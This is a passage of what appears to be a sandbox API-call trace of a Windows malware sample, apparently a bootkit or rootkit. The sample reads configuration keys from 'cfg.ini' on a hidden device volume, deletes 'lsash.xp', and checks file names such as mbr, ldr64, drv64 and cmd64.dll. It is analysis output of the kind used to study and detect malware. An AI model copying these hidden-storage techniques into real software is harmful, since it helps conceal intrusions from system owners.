IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.379] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.379] KeEnterCriticalRegion () [0119.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] ExFreePoolWithTag (P=0xfffffa8003bcb560, Tag=0x0) [0119.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] KeLeaveCriticalRegion () [0119.379] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.379] ReleaseMutex (hMutex=0xf0) returned 1 [0119.379] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.379] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.379] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.379] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.379] KeEnterCriticalRegion () [0119.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.379] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.379] IdePortDispatch () returned 0x103 [0119.380] KeWaitForMutexObject () returned 0x0 [0119.380] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.380] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.380] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.380] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.380] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.380] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.380] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.380] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.380] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.380] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.380] KeLeaveCriticalRegion () [0119.380] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.380] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.380] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.380] KeEnterCriticalRegion () [0119.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.380] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.380] IdePortDispatch () returned 0x103 [0119.380] KeWaitForMutexObject () returned 0x0 [0119.381] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.381] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.381] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.381] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.381] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.381] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.381] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.381] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.381] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.381] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.381] KeLeaveCriticalRegion () [0119.381] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.381] ReleaseMutex (hMutex=0x100) returned 1 [0119.381] Sleep (dwMilliseconds=0x2bf20) [0119.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a5b12b0, dwHighDateTime=0x1d24fa4)) [0119.389] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.389] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.389] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.389] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.389] KeEnterCriticalRegion () [0119.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.389] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.389] IdePortDispatch () returned 0x103 [0119.389] KeWaitForMutexObject () returned 0x0 [0119.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.390] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.390] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.390] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.390] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.390] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1e60 [0119.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.390] KeLeaveCriticalRegion () [0119.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.390] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.390] KeEnterCriticalRegion () [0119.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.390] KeLeaveCriticalRegion () [0119.390] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.390] KeEnterCriticalRegion () [0119.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.390] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.390] IdePortDispatch () returned 0x103 [0119.390] KeWaitForMutexObject () returned 0x0 [0119.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.390] KeLeaveCriticalRegion () [0119.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.390] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.390] KeEnterCriticalRegion () [0119.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.390] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d59000 [0119.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.391] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.391] IdePortDispatch () returned 0x103 [0119.391] KeWaitForMutexObject () returned 0x0 [0119.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.391] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.391] IdePortDispatch () returned 0x103 [0119.391] KeWaitForMutexObject () returned 0x0 [0119.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.391] KeLeaveCriticalRegion () [0119.391] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.392] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.392] KeEnterCriticalRegion () [0119.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] KeLeaveCriticalRegion () [0119.392] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.392] KeEnterCriticalRegion () [0119.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.392] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] KeLeaveCriticalRegion () [0119.392] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.392] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.392] KeEnterCriticalRegion () [0119.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] ExFreePoolWithTag (P=0xfffffa8003aa1e60, Tag=0x0) [0119.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] KeLeaveCriticalRegion () [0119.392] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.392] ReleaseMutex (hMutex=0xf0) returned 1 [0119.392] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.392] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.392] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.392] KeEnterCriticalRegion () [0119.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.392] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.392] IdePortDispatch () returned 0x103 [0119.392] KeWaitForMutexObject () returned 0x0 [0119.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.392] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.392] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.392] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.393] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.393] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.393] KeLeaveCriticalRegion () [0119.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.393] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.393] KeEnterCriticalRegion () [0119.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.393] KeLeaveCriticalRegion () [0119.393] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.393] KeEnterCriticalRegion () [0119.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.393] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.393] IdePortDispatch () returned 0x103 [0119.393] KeWaitForMutexObject () returned 0x0 [0119.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.393] KeLeaveCriticalRegion () [0119.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.393] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.393] KeEnterCriticalRegion () [0119.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5a000 [0119.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.393] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.393] IdePortDispatch () returned 0x103 [0119.393] KeWaitForMutexObject () returned 0x0 [0119.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.394] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.394] IdePortDispatch () returned 0x103 [0119.394] KeWaitForMutexObject () returned 0x0 [0119.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.394] KeLeaveCriticalRegion () [0119.394] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.394] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.395] KeEnterCriticalRegion () [0119.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] KeLeaveCriticalRegion () [0119.395] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.395] KeEnterCriticalRegion () [0119.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.395] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] KeLeaveCriticalRegion () [0119.395] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.395] KeEnterCriticalRegion () [0119.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] KeLeaveCriticalRegion () [0119.395] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.395] ReleaseMutex (hMutex=0xf0) returned 1 [0119.395] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.395] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.395] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.395] KeEnterCriticalRegion () [0119.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.395] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.395] IdePortDispatch () returned 0x103 [0119.395] KeWaitForMutexObject () returned 0x0 [0119.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.395] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.395] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.395] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.395] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.395] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb5b0 [0119.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.396] KeLeaveCriticalRegion () [0119.396] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.396] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.396] KeEnterCriticalRegion () [0119.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.396] KeLeaveCriticalRegion () [0119.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.396] KeEnterCriticalRegion () [0119.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.396] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.396] IdePortDispatch () returned 0x103 [0119.396] KeWaitForMutexObject () returned 0x0 [0119.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.396] KeLeaveCriticalRegion () [0119.396] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.396] KeEnterCriticalRegion () [0119.396] 